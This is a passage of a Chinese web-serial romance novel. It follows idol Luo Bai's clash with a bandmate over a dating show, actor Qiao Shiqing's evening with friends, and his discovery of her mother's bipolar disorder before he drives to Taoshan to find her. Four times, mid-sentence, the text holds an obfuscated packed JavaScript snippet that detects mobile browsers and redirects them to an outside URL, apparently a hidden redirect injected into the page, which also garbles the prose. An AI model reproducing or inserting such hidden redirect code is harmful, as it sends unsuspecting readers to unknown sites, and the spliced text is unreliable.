“我哪儿有。我就是好奇立新的理想型嘛。”金灵笑嘻嘻地搭上洛白的肩膀,“说不定就是——” 洛白担心她会报出自己的名字,连忙说:“金姐——!你——你是不是也想参加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14429476|147798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个节目?” “我?” “对啊。看他俩怎么甜,你嫉妒了吧。”程佳念笑着把披萨塞进她嘴里,“吃吧。吃饱了就不酸了。” 顾若敏也笑起来:“是呀。下一季你也参加吧。” 几人又聊了十来分钟。 镜头后的导演表示这段后台探班的素材拍够了,除了金灵,她们都松了口气。 摄像机一关,摄制组的工作人员和男主角就陆续离开。 “你刚才说什么呢。”程佳念数落金灵,“问那种问题,人家怎么回答影响都不好。” 金灵慢条斯理地喝了口咖啡:“这样不是挺有节目效果的吗?” “谁要这种节目效果了。”顾若敏白了她一眼。 “怎么?难道你就想看陈立新一个劲地表演对你一往情深?”金灵说,“虽然人家是个演员,但这也太难为他了。” “你——”顾若敏一向是说不过金灵的,她憋着气又不好向金灵撒,只能哼了一声不予理会。 “洛洛,还有这个披萨没动过呢。你送去给简言之他们吧。”程佳念把那盒十二寸的大披萨交到洛白手里。 晚上要表演,她们都心知肚明上场前不能吃太多糖油混合物,所以只是在镜头前礼节性地吃了一点。不过SINE就不一样了。他们可不在乎这个。 “哇哦——”合格掀开披萨盒眼睛发亮,“是我最爱的口味。” “刚才去微波炉稍微加热了一些,现在正好吃。”洛白说。 “太贴心了。”许诺啧啧道,“你真是无时无刻都惦记着我们。感动。” “不是。刚才录制节目,陈立新带来的披萨。我们吃不完,佳念姐叫我送过来。”洛白如实说。 “……这种解释是多余的。”许诺说,“建议你永远不要和男人说实话。” 简言之一口摇掉三分之二,边吃边说:“不行啊,这家店的披萨饼没D家的好吃。” 洛白:“……” 她回到COSINE休息室时,路上却遇到半路折返的陈立新。 后者先打招呼:“呃。嗨。洛白。” 洛白让路说:“若敏姐在里面。” “不。我是来找你的。” “……我?” 陈立新像是措辞过,这会儿一股脑地说出来似的:“我听说你下一部戏是《秦桑低绿枝》是吗?” 洛白顿了顿:“怎么了吗?” “最近这部戏也有找到我。我想,如果方便的话,有机会一起合作挺好的。你说是吧?”陈立新问。 洛白抿出一个不真不假的笑:“我主要看公司安排吧。” 陈立新点头:“嗯。那我先走了。希望有机会合作啊。” 他的步伐不慢,很快就消失在走廊里。 陈立新的话叫洛白有些犯难。 她下一部戏原定是《秦桑低绿枝》女二,因为最近红了些,由女二升作了女主。好在原来的女主先接了另一部戏,否则她还得陷入抢女主的风波里。 只是现在要是和陈立新同拍一部戏,说不定又会让顾若敏生气。 洛白算是烦什么来什么。 她一转身就看到顾若敏板着脸站在休息室门口。 “你都和新哥说什么了?”顾若敏问。 洛白说:“他问我下一部戏拍什么。” 顾若敏挡住她要进屋的步伐:“你偏偏要和他拍一部戏是吧?” “不是我。是他来问。”洛白说,“我没想和他拍。” “那好。”顾若敏收回手,“你辞演吧。” 40. 新年快乐 洛白径直走进休息室:“我不认为我需要辞演。” 顾若敏在她后头进来:“那你不就是要和他一起拍吗?喂,我在和他拍恋综哎!你都不知道避嫌的吗?” 洛白刹住脚步转身直面她:“这种事你应该去问他。” “怎么了又?”程佳念还在调试耳环,有些糟心地看向两人。 “洛白要和新哥搭档演戏——她明知道我们的CP现在很火,非要进来掺和一下,脸皮也太厚了吧!” 金灵正在一边刷手机,笑了一下小声说:“你们的CP是什么时候火的?怎么没人知道?” “金灵,为什么你总是站在洛白那边?”顾若敏质问道,“凭什么无论她多讨人厌你都帮她说话?” “因为我喜欢美女啊。”金灵笑着说,“不然你去整容吧。整成了我也多帮你说说话。” “你——我不管,”顾若敏又把锋头转向洛白,“你现在就和秦湘姐说你不演了。” “我没必要听你安排。”洛白淡淡说。 “你们看到了嘛!”顾若敏指着她对程佳念和林晓说,“仗着自己现在红了点,就这么自私,一点儿都不管队友死活。” 人际关系对于洛白来说始终是一个难题。她从小到大都不太擅长交朋友,曾经也一度想和同学或者同事搞好关系,但她不是被认为太冷漠,就是被视作太软弱。 “前阵子要我来参演你们节目的时候,怎么不见你说我自私?是他先来找我的,你要避嫌也应该去和他说,抓着我不放有什么用?”洛白向顾若敏走近一步,直截了当地盯着她,“你火不起来不是我的问题。别什么都怪到我头上。” 顾若敏的大小姐脾气只对软柿子生效,换作是金灵她是不会这样抓着不放的,洛白平时寡言少语,极少和人争执。现在她突然这样能言善辩,顾若敏反而哑口无言,退了半步支吾了两声。 “哎呀,好啦,都别吵了。不是什么大事。”程佳念拍拍顾若敏的肩膀,“反正到时候戏播出的时候,恋综也早结束了。没什么关系啦。” 这个小插曲之后,洛白和顾若敏连着三场跨年晚会的录制都没有再交流。 洛白也没空再去管队友嫌隙或者说陈立新会不会成为她新戏搭档这事了。 自打《封玄境》播出以后,各种接踵而至的行程,密密麻麻的通告安排,几乎压榨了洛白所有的休息时间。 本来秦湘和四吉还担心她会吃不消。没有想到洛白却以格外饱满的精神状态消化了这些行程,她的精力充沛到让她们都觉得不可思议。 旁人都以为她这种状态就是所谓的红气养人——终于爆红的洛白以饱满的状态接住了这一次飞升的契机。 可其实洛白自己也觉得不可思议。 她就像一只只有100%电量的电池,却不知道为什么被充到了10000%,这些冗余的电量几乎要挤爆她的身体。 她只想做点什么再做点什么再做点什么好去发泄她的能量,疏解她的精力。几乎有一个月的时间,她每天只用睡四个小时就可以精神奕奕地去参加直播、访谈、广告拍摄、试戏,但她还觉得不够。 “再给点光,那边,侧面。” “来最后一张,可以稍微侧一点。” “对,很好。” “OK!收工!” 画报的最后一张照片拍完,摄影棚内顿时响起一阵欢呼声,工作人员抱着一束花从人群里走出来递给洛白,笑容满面地说:“辛苦啦洛洛,新年快乐哦!” “谢谢姐姐。”洛白嫣然一笑,把花抱在怀里,冲着周围的人鞠躬,“辛苦各位老师了。” “对了,洛洛,你可以在这里签下名吗?”造型师拿来一张纸。 “嗯当然。”洛白空出一只手签名。 “还有这里。”造型师掏出一张COSINE专辑。 “好的。” “还有这个。”造型师又掏出一张她的小卡,大概有些不好意思,“我是你的粉丝……” “谢谢。”洛白笑着在上面签名。 结束拍摄,洛白抱着那束花独自走出了工作室。 一瞬间,漫天的飞雪飘落过来,骤然的冷意猛地缚住她。 今天是1月10日。 洛白从早上五点工作到了晚上八点半,一直待在摄影棚内,完全没察觉到室外早已大雪纷飞。 “洛洛再见哦!” 陆续离开的工作人员和她打招呼,她一一微笑回应。 “真的不用我们送你回家吗?” 洛白忙说:“不用,我这就走了。” 像是要应证自己的话,她和她们道了别就立刻朝着另一头走去。 寒风迎面而来扬起她的长发,洛白低下了头,径直朝前走着,街道两侧华灯高挂却空无一人。毕竟这里远离新陵市中心,人们大都聚在三环内了。 洛白在一块指示牌前止住了脚步,上面写着“桃山-1KM”。 摄影场地安排在新陵桃山附近,不知道算不算凑巧。 洛白微仰着头凝视着指示牌上的字,不知不觉地低声念起来:“桃山……” 突兀的来电铃声让她回过了神。 洛白目不转睛地从包里掏出手机接起:“你好。请问有事吗?” 那边愣了一下,才说:“也没什么事。” 洛白分辨出了那个声音,微微晃神,她的目光从那三个字上收回来,慢慢地向前走去:“你去过桃山吗?” “恩。怎么了吗?” “我——”她的声音里参杂着风的呼啸声,“没什么,只是忽然想到了。” 乔时青一字一句地说:“你现在在去桃山的路上,对吗?” 洛白没有直接回答他,只是有些鬼使神差般的,她忽然道:“乔时青。” “恩?” “我……”洛白不知道自己想说什么,她的身体里一直有一股混乱的能量在横冲直撞,她低着头看着自己的鞋子踩在雪地上,胡言乱语似的说,“我……雪好像要停了?我今天拍画报没发现下雪了。” 乔时青意有所指地说:“那里很冷,洛白。” “啊!新年快乐。乔时青。已经又过了一年了。”洛白吸了下鼻子,“没什么事的话,再——” “我现在来桃山找你,好不好?”乔时青打断了她的道别,清楚地说。 “不,你不要来。我没有去。”洛白坚持说,“我在回去的路上。” 乔时青沉默片刻:“好吧。那么,你也新年快乐。” “恩。再见。” “再见。” - 1月9日21:00热搜榜单 1.#大陆双子星同台# 【@李昌江导演携@肖漾主演的春节档电影《风暴》举行新源首映礼,@乔时青戴黑色毡帽和口罩低调现身,被好友@肖漾拽上台,两人互动斗嘴超好笑。#大年初一风暴##乔时青现身风暴首映礼##大陆双子星同台#】 [真的没人想找他俩拍一部戏吗] [跪求合作!!!] [明明是同样的年龄,漾子哥都有老婆了我哥却连绯闻也传不上[可怜]] [这两个男人披个麻袋都能给我帅拉了[网页链接]] [哈哈哈哈哈哈哈哈哈说绯闻都传不上的笑死我了] [我最爱的两个男人历史性地同台了] [乔时青:自己懒得营业但很爱看别人营业[狗头]] … 2.#风暴肖漾# 3.#乔时青现身风暴首映礼# 4.#洛白迪尤品牌代言人# 5.#简言之春晚彩排# 6.#齐彷刘道新作官宣# 7.#14岁天才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14459267|147798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少年ZY登顶国服第一# 8.#剧本杀看上DM了怎么办# 9.#范沁直播状态# 10.#年度热词大盘点# “看完风暴以后有什么感触吗?” “网传你会参演《权臣眼》,是真的吗?” “有考虑过演电视剧吗?” “为什么会接演《爻起腾蛇》呢?” “之后有什么行程方便透露一下吗?” 晃眼的闪光灯下,一堆话筒簇堆在乔时青身前,镜头外十几个记者们扛着相机堵住他的去路。 “电影很好看。”乔时青双手揣兜,在强闪打光中一眼锁定人群外偷笑的身影,他后槽牙一合,随口道,“其他去热搜上看吧。透露得比我快。” “行了行了记者朋友们,今天就到这吧。首映礼都结束了,回去玩吧。”肖漾和他的助理这才过来赶人,把只身一人的乔时青拽出镜头外。 “喝酒去。”肖漾说。 “你不和你们剧组去喝?” “今天晚上有两个落寞男人需要我们来安慰,所以我只好推了剧组的夜宵。”肖漾扭头接过助理递来的围巾和外套,寒暄了两句打发人走了之后,又说,“姚启被分手了,齐彷的婚事也吹了。真可怜。” “那你还笑。”乔时青睨了他一眼。 “有吗?快过年了,忍不住的喜庆。”肖漾抬着手往脖子上绕围巾,“去吧。三缺一。” “我又不会安慰人,你叫我去有什么用。”嘴上虽这么说,但乔时青与他不约而同地迈开了步子。 “陪酒啊。”肖漾似乎觉得自己系错了围巾,又胡乱地往外绕要解开,“我一个已婚男人,幸福浓度太高了。怕他们羡慕得落泪。加上你刚好中和一下。” 乔时青看他眼花缭乱的动作看烦了,扯过那条围巾,三下五除二帮他系好。 到最后一步时,肖漾笑了:“平时都是我老婆给我系的。” 乔时青迅速在他脖子上多绕了一圈,拽着尾部猛地朝自己这边一拉,肖漾猝不及防一个趔趄,等他稳住身形,就听得面前的乔时青面色不善说:“你再秀一下,我让你走不出这个停车场。” “行行行。我不秀了就是。”肖漾佯装无奈地说,“你们这种孤家寡人真是惹不起。” 乔时青冷哼一声,松了手,大步流星地走了。 等两人到达居酒屋包厢内时,姚启的面前已经摆了两盅空瓶。 “姚总今天还不高兴呢?”肖漾在他面前坐下来。 姚启也不抬头,只垂着脸凝神看着杯里的清酒,微不可察地叹了口气。 他不急不缓地倒了一满杯放在乔时青身前,嘶哑的嗓音里有些感慨:“现在也只有乔二能理解我的心情了。” 乔时青一听这话不乐意了:“你少来。我不理解。” “同是天涯沦落人,你就喝了吧。” “你给我少说这种不吉利的话……” “你就喝了吧。齐彷没到之前,你是这屋里第二不幸的人。”肖漾的手肘搭在乔时青肩上,又问姚启,“你之前不是说只是玩玩吗,怎么现在这么消沉呢?” “我说过。”姚启闭上眼,泄了气似的靠在墙上,“可现在我发现,只有我放不下。” “金灵,”乔时青顿了顿,还是直说,“她心里另有人的。你知不知道。” “我知道。” 姚启的话出乎乔时青的意料,他见了姚启那抹苦涩的笑意,像是被噎了一下:“那你怎么还?” “我没有办法计较。”姚启幽幽地说,“处在下位的人,就是这样。” 肖漾碰了他的杯:“真强。敬你一杯。” “哗”的一声,门被拉开,侍者们端来了加点的清酒,在桌上摆好下酒菜。她们离开时,齐彷恰好被一位和服妇人引进来,他嘴里衔着一支烟,身上被打湿了。 41. 假如爱情 “怎么才来?”肖漾道。 齐彷取下烟,夹在双指间:“跑宣传,然后——” “被记者堵了?” 他端起酒,一杯见底才回:“买烟去了。” “……” “你抽吗?” “我戒了。” 又喝了一杯,齐彷的喉咙微动:“这杯更好喝。” “你这状态可不像是刚被退婚啊。”肖漾见他专心去夹三文鱼的模样,不由得对他的心理状态产生了质疑,“出什么事了?为什么解除婚约了哦?” “我最近刚成立了个人工作室。”齐彷答非所问道。 “这和你解除婚约有什么关系?” “因果关系吧。” 肖漾转向乔时青:“为什么我听不懂他在说什么?” 齐彷转向乔时青,“为什么他听不懂我在说什么?” 乔时青:“……和朝夏解约、开工作室,也就意味着和夏家闹翻了。婚约也没了。” 原本已经倒在桌上的姚启单手撑着坐起来,半眯着眼酒气十足,看着齐彷好一会儿,憋出了一个音节:“啊?你和夏轩他姐分了?” “你为什么要和朝夏解约啊?你不是朝夏一哥么?”肖漾说,“而且这么多年,你和夏然的关系不是很稳定吗?难道她有新欢了?把你绿了?” “我记得你婚前没有这么八卦。”齐彷说。 肖漾咳了一声:“近朱者赤近墨者黑……” 显然他的老婆是一个非常八卦的人。 齐彷说:“我不是解约。是合约到期不续。我和夏然是很稳定,只是各取所需。” 乔时青深深看了一眼齐彷,情绪有些复杂,伸手提起酒瓶,才发现空了。 即便他对别人的感情生活没有多少过问的兴趣,但齐彷和夏然的事,他风闻过不少。 齐彷自打签约朝夏开始,就和夏然在一起了。或者说,他正是因为和夏然恋爱,才被朝夏签下来。而夏然也正是因为他的走红,才坐稳了朝夏总裁的位置。两人谈了六七年,去年订了婚。 无论是夏然还是齐彷,谈起对方时都是一副死气沉沉的样子。 据说他们一向各玩各的。 姚启问:“既然如此,之前干嘛还订婚?” 齐彷吸了一口烟,烟圈慢慢晕出来,很淡的语气:“她当时不愿意放过我。” “你们这些人,为什么要这么敷衍感情!”姚启一拍桌坐直,拔高了音量质问道,“你到底有没有真正地喜欢过什么人啊?” 那时齐彷正忙于把抽完的烟蒂掐灭在烟灰缸里,听了这句话,他很快又调出一支烟来点上,火星细细地亮成一小簇后,他才轻笑着说了句:“这是深度访谈吗?” “有么?”乔时青突然说。 齐彷有些意外他会好奇这种事,没有注意到自己夹烟的食指和中指微微发抖:“有啊,当然是有的。” 肖漾嚯了声,来了兴趣:“那她喜欢你不?” “她喜欢我。那个时候。”齐彷没有迟疑,语气低缓泰然,又重复了一句,“她喜欢我。” 肖漾笑他:“这么自信?那你们怎么没在一起?” 齐彷敛下眼眸,很认真地掸开烟灰,沉默了一会儿才说:“那时候,不是互相喜欢就可以在一起的情况。” 一时无言。 打破一室静寂的是肖漾的来电,开朗又娇气的声音在包厢里格外清晰:“老公,你在哪呢?还回不回家啊?能不能早点回来?” “老婆,我在和朋友喝酒,晚点回来。” 肖漾用一句话引来了全场的灼灼注视。 “明天一早还有春晚彩排呢!你打算喝到什么时候呀!快点!现在就回家!” 肖漾很快拜倒在他老婆的盛情召唤之下,收起手机,一边穿外套,一边说:“我老婆喊我回家了。明天还有事,我先撤了。” 系好扣子的肖漾发现其余三人用炽热而充满恶意的目光凝视着他,他没有克制自己充斥炫耀意味的笑容:“没办法,结婚了就这样。” 谨代表在场单身人士,乔时青扯了下嘴角:“滚。” 肖漾愉悦地滚蛋了。 他一走,酒局幸福浓度瞬间骤降,三个人越来越闷。 没过多久,齐彷忽地抬头说:“啊,我明天也要彩排,还是要早点休息。” 这人明明喝得也不多,但起身时仍跌跌撞撞,身形不稳地朝着地面直直栽下去,还好一旁的乔时青眼疾手快地接住了他。 “酒量怎么这么差。”乔时青把他的手臂扛在肩上。 近在咫尺的齐彷透过额前的碎发看他,冲他笑起来:“你清醒是因为你还没有喝醉的理由。” 姚启半醉不醒地翻起白眼:“乔二?他怎么没有?” 乔时青鄙夷地看了两人一眼:“真不想送你俩回家。” - 翌日。 等乔时青恢复意识半睁开眼时,已经是晚上了。 昨天晚上,不对,应该说是今天凌晨,乔时青送走齐彷以后,又给烂醉如泥的姚启找代驾,一通折腾完回到家已经三四点了。 他有些头疼,揉了揉脑袋,半撑着从床上坐起来,衬衣和头发一样凌乱。 天色很暗,透过落地窗,外面已经银装素裹,寒风呼啸着刮过玻璃,大片大片的雪穿风而落下,似乎很冷。 乔时青漫不经心地披了一件薄外套走出卧室,靠在走廊的扶手上看了眼挂在客厅里的钟,时针指在七点。 他遥控点开《假如爱情》最新一期,打了个哈欠去冰箱里拿了一盒牛奶出来。 住家阿姨关切地问:“醒啦,要吃点什么吗?我现在就去做。” 乔时青在沙发上坐下来,拧开牛奶盖子:“随便来个面包就行了。” 他按下快进键,大概快进了十分钟。 直到一个精致清丽的面孔出现在镜头里。 他按下播放键。 顾若敏:“洛洛!这里。” 洛白走近餐桌,四个人的位置还剩下一个空位,她微笑着向顾若敏说:“若敏姐。” 顾若敏:“就坐我对面,这里。这是我的男朋友,立新哥哥。” 洛白顿了顿还是笑:“姐夫好。” 陈立新:“你好洛洛。对了,这是我的朋友,林天宇。是羽毛球选手。” 林天宇:“你好你好!” 洛白在他旁边坐下:“嗯你好。” 顾若敏给洛白盛汤:“本来今天呢,是邀请天宇一起玩的。天宇说他很想见见COSINE的洛白,所以就叫你过来啦。” 陈立新:“对啊,说你是理想型呢。” 洛白怔了一瞬间,有些僵硬地转过头去看林天宇。 后者的耳根子都是红彤彤的。 “啊呀。小少爷什么时候开始看这种恋爱节目啦?”赵姨端来一个盘子放在乔时青跟前。 乔时青抓起三明治 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14480026|147798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面无表情地咬了一口:“随便看看。” “这两个人还挺般配的呢。”赵姨看着特写中的两个人。 乔时青:“……我看未必。” 林天宇察觉到洛白的目光,下意识地看向她,然而他的目光一触及到洛白的脸颊,就触电了一般,迅速地收了回去。 大概是觉得不妥,马上又转了过来,冲洛白点了点头。 洛白莞尔一笑。 陈立新给顾若敏夹菜:“这很好吃。” 过了一会儿,顾若敏切下一块牛排喂给陈立新:“你吃一下我的。” 闪亮的喂食互动终于让一直默默吃饭的林天宇忍不住抬头看了他们一眼,又下意识地瞥了洛白一眼,后者仍是慢条斯理地专注吃饭,仪态和气质都是他遇见的人里最好的。 陈立新戏谑地说:“天宇你为什么要偷看洛白啊?” 顾若敏笑嘻嘻地说:“人都坐在旁边了,又跑不掉。” 林天宇急忙说:“我没有。”。 陈立新说:“摄像机都录着呢。” “哎哟这个林天宇,我看到过他打比赛。”赵姨又说,“真是年轻又帅气。” 乔时青用力咬一口三明治仍然面无表情地说:“谁不是年轻又帅气。” 饭后,顾若敏提议去附近的游戏城里玩。 顾若敏和陈立新交换了个眼神,故意快步向前走了几步,留下林天宇和洛白两个人走在后面。 林天宇的双手放在上衣口袋里,慢慢走着也不知该说什么话。 好一会儿,大概是考虑到节目效果,洛白先开了口:“平时训练……很忙吧?” 林天宇挠了挠头发:“恩。这段时间没有什么比赛,所以就比较轻松。” 洛白应了一声点了点头。 林天宇解释说:“我平时话就比较少。然后现在又有些紧张,所以好像说不出什么话来。” 洛白:“可能因为有镜头,有些不适应吧。” 林天宇:“啊?我其实,我其实是因为见到你所以很紧张,比打比赛时紧张多了。” 不待洛白反应过来,他又急忙补充说:“我没有什么意思,就是,觉得你很优秀……恩,我,我算是你的粉丝。” “谢谢。”洛白抿住唇,微笑着说。 “你们不如交换个联系方式嘛。”站在游戏城门口,顾若敏挽着陈立新的手回过身来,“交个朋友吧!” 洛白顿了一下说:“好啊。” “哎呀!这个男的喜欢这个姑娘。”赵姨说,“他俩有戏。” 乔时青:“……赵姨你不如去忙吧。” “哎哟,这不是乔大明星么?”宁岚从里间走出来,“好不容易回一趟家,终于起床啦?” “他在这儿看恋爱节目看得可起劲儿呢。”赵姨端走餐盘。 “恋爱节目?想恋爱啦?”宁岚眼睛一亮,“我给你介绍啊。” 乔时青放下喝空的牛奶:“千万别。” “等等。”宁岚抓起遥控倒回,直到特写锁定在洛白身上。 “怎么了?”乔时青问。 宁岚拧起眉头看着镜头里的洛白,好一会儿问:“这个女孩子叫什么名字?” 乔时青:“洛白。” 宁岚依旧盯着洛白那张脸:“居然都长这么大了。真是太像了。” “你认识她?” “我想我不止认识她。”宁岚很慢地摇头,“我还认识她爸妈。” 42. 躁郁症 “你怎么认识的?”乔时青问。 宁岚言简意赅:“我和她妈妈洛知雅读同一个艺大。” “一个学校不一定就认识吧。” “这你就不知道了。当时我们学校谁不认识洛知雅?”宁岚露出回忆的眼神,“她是校长的女儿还是声乐部当之无愧的第一名。天赋异禀又沉鱼落雁,追她的人可以从教室排到校门口。就连你爸——” 宁岚伸手指向从楼上下来的乔因:“都喜欢过人家。” 被指到的乔因:“我可没喜欢过。” 乔时青:“她都没说是谁。” “无论是谁,你最好一口否定。”乔因不急不缓地喝茶,“儿子,这叫为夫之道。” 乔时青:“……” “洛知雅。”宁岚说,“以前新源艺大的校花。你没喜欢过?” 乔因摇头:“我都没听说过。” “扯吧你就。”宁岚打发他去给自己泡花茶。 乔时青问:“你还知道她什么事?” 于是宁岚露出了回忆的眼神:“这个洛知雅呢,个性是高傲又冷淡,对所有人都不屑一顾。毕竟她爸妈都是当时新源教育界有头有脸的人物,她又是洛家的掌上明珠,肯定是骄傲的嘛。可惜的是,像这种优秀又美貌的女人总是容易栽在所谓的爱情上——她后来喜欢上了外校一个叫姜正扬的男生。” “本来她爸妈完全就是奔着世界级声乐家的路子去培养她的,而且也早给她安排好了结婚对象,当然不可能允许她恋爱。结果她为了和那个男的在一起,和家里闹掰了。当年她爸妈可是在开学典礼上当众打了她两巴掌呢。”宁岚顿了顿又说,“你说她这么骄傲的人,自尊心该多受挫,后来她就再没回过洛家了。当然她爸妈也好受不到哪里去,听说被这个一意孤行的女儿都气进医院了,后来他们的葬礼洛知雅也没出现过。” “更可惜的还不在这。” 一打开话茬,宁岚就来了兴致,她接过乔因泡好的花茶喝了一口又说,“你要知道,女人永远不应该为了虚幻的爱情放弃自己的追求和骄傲——洛知雅嫁给那个男人以后,就再也没有一场声乐演出了。不久她老公事业发展,她们一家三口就搬到新陵去了。” “那后来呢?”乔时青问。 “疯掉了。” “什么?”乔时青忍不住问,“你说她——洛知雅疯掉了?” “她搬去新陵,传来的消息就很少了。只听说她疯掉了,她老公也再婚了什么的。好像是某种精神疾病吧。” “什么病?” “不知道啊。据说就是精神状态很奇怪,一会儿高兴一会儿想死的。哎。” 乔因这时说:“躁郁症。” 乔时青的情绪一时复杂起来。 他突然想到了很多事。 关于洛白的事。 他总算知道洛白在那些欲言又止的时刻里想要传达的意思。 “很多年前在同学聚会上我也见过她女儿。就是这个洛白。”宁岚的下巴朝屏幕抬了抬,“我一眼看去,天啊,简直和洛知雅是一个模子里印出来的。骄傲、冷淡、美丽。基因这东西真是神奇。她当时还说,她一定会把女儿培养成出色的声乐家呢。” “她……”乔时青百感交集,最后只是问,“还活着吗?” “我估计是死了吧。”宁岚惋惜似的摇头,“你看你去当演员的时候,你爸都气了好几天。何况洛知雅呢?她要是活着,决不会允许她女儿浪费她的苦心栽培去当艺人的。” 宁岚的话题一转:“按我说,孩子想做什么是孩子自己的事。总有些脑不拎清的家长爱把自己未尽的事业强加在孩子身上。” 乔因咳了一声:“有时候孩子未必知道自己想做什么。” 两人还在交谈,乔时青兀自走到窗前。 可见的世界里银装素裹,再往远处望,就是黑漆漆的一片。 他低头检索“躁郁症”的关键词。 双相情感障碍(bipolaraffectivedisorder),又称躁郁症,是一种精神健康疾患,其特征是情绪从一个极端波动到另一个极端。是既有躁狂发作或轻躁狂发作、又有抑郁发作,或出现躁狂抑郁混合发作的一类心境障碍。 躁狂发作表现为心境高涨、精力旺盛、说话速度快、□□增加、睡眠需求减少、有鲁莽或冒险行为。抑郁发作表现为心境低落、自我厌恶、睡眠紊乱、内心空虚。混合发作则是躁狂、抑郁同时发生或快速转换。 双相情感障碍具有明显遗传倾向,主要发生于成人早期,平均发病年龄为18-25岁。识别率、就诊率低。发病时患者或产生伴随症状,如焦虑、惊恐,或表现出躯体症状。 乔时青回忆起许久之前洛白望向自己狂热又颓废的眼神。 他追问她判若两人的行为,那时她给不出答案,现在他知道了。 早知道他不应该那样逼问她。 乔时青又担心起来。 不知道洛白现在在做什么,心情怎么样,状态怎么样。 不妨打个电话?不会很唐突吧? 要借口的话一会儿随机应变吧。 乔时青不管不顾地拨通了电话。 “你好。请问有事吗?”洛白的声音。 乔时青愣了下:“也没什么事。” 洛白突然问:“你去过桃山吗?” “恩。怎么了吗?” “我——”她的声音里参杂着风的呼啸声,“没什么,只是忽然想到了。” 被一种强烈的预感击中,乔时青不安地站起身,一字一句地说:“你现在在去桃山的路上,对吗?” 等待她回答的间隙,他的目光又转向窗外,屋外风雪交加。 洛白忽然道:“乔时青。” “恩?” “我……”洛白说,“我……雪好像要停了?我今天拍画报没发现下雪了。” 乔时青仔细地听着,从她混乱的话语里分辨信息:“那里很冷,洛白。” “啊!新年快乐。乔时青。已经又过了一年了。”洛白吸了下鼻子,“没什么事的话,再——” “我现在来桃山找你,好不好?”乔时青打断了她的道别,清楚地说。 “不,你不要来。我没有去。”洛白坚持说,“我在回去的路上。” 乔时青沉默片刻:“好吧。那么,你也新年快乐。” “恩。再见。” “再见。” 客厅里,宁岚正和乔因聊到过年的安排,忽然瞥见乔时青大步流星地朝着玄关处走去,行色匆匆。 “哎,你去哪儿啊这么晚了?”宁岚扬声道。 “我有点事。”乔时青头也不回地说。 他走得越来越快,后来几乎是跑着窜进了那辆保时捷里。 他是要去桃山的,无论那里有没有洛白。 现在大约是晚上八点半,以他的车速,从这里到桃山最快也需要三个小时。 路上风雪肆虐,铺面而来的雪花簌簌打在车窗上。 车内一片漆黑,只有仪表盘亮着。除了风雪呼啸刮过的声音外,他一个人飞驰在静寂里,思绪很乱。 他直觉洛白要去那里。 尽管他不知道为什么。 或许洛白想在这时候见到他,但最终没能说出口。他希望她在任何想见他的时刻都能见到他。他也希望她如自己的直觉一样在桃山上。可一转念,他又不希望见到她。今天的雪下得太大了,天气太冷了,她一个人待在山上的场景,他无论如何也不能想到。 此外,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14493475|147798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己也不得不承认,仅仅因为一念之间的直觉就在风雪夜开三个小时的车飞奔上山,这样的举动还是有一点疯狂。 直到三个多小时后,他才知道疯狂的人到底不是他。 深冬时节,桃山的花田早被埋住了,乌泱泱一片,只是被一盏路灯照着。 在路灯下坐着的洛白微微仰着头,出神地看着那片被积雪盖住的花地,暖黄色的光淡淡地落在她的身上,映出一层浅浅的光晕,让人恍惚以为这是雪夜遗落世间的仙子。 她穿的单薄。乔时青来不及多想,快步上前,脱下大衣裹在她身上。 洛白被他的动作吓了一跳,颤了一下,回头看清他的身影时,才后知后觉地感到通身的暖意。 她笑起来:“好冷,乔时青。” 乔时青滋味复杂地看她,发觉她眼底些许泛红,没有问什么,只说:“去我车上吧,那里暖和些。” 他将她慢慢扶起来。可是洛白在这里待了太久,已经没有力气了。她身形不稳,像是随时会消散。 “上山的时候我觉得自己的力气怎么也花不完。现在居然站不稳了。你相信吗?”她似乎对这点颇为稀奇,用了一个他没听过的比喻,“我终于要没电了。” 乔时青没有回答,弯身将她打横抱起,朝着停车的方向走去。 洛白侧过脑袋贴着大衣的衣领,这件外套足够将她整个人都裹起来。 她非常轻,轻到他要低头确认她的存在。 回到车里,他打开暖气,又开了暖灯,确认窗门紧闭以后,放轻动作又提了下滑落的外套。 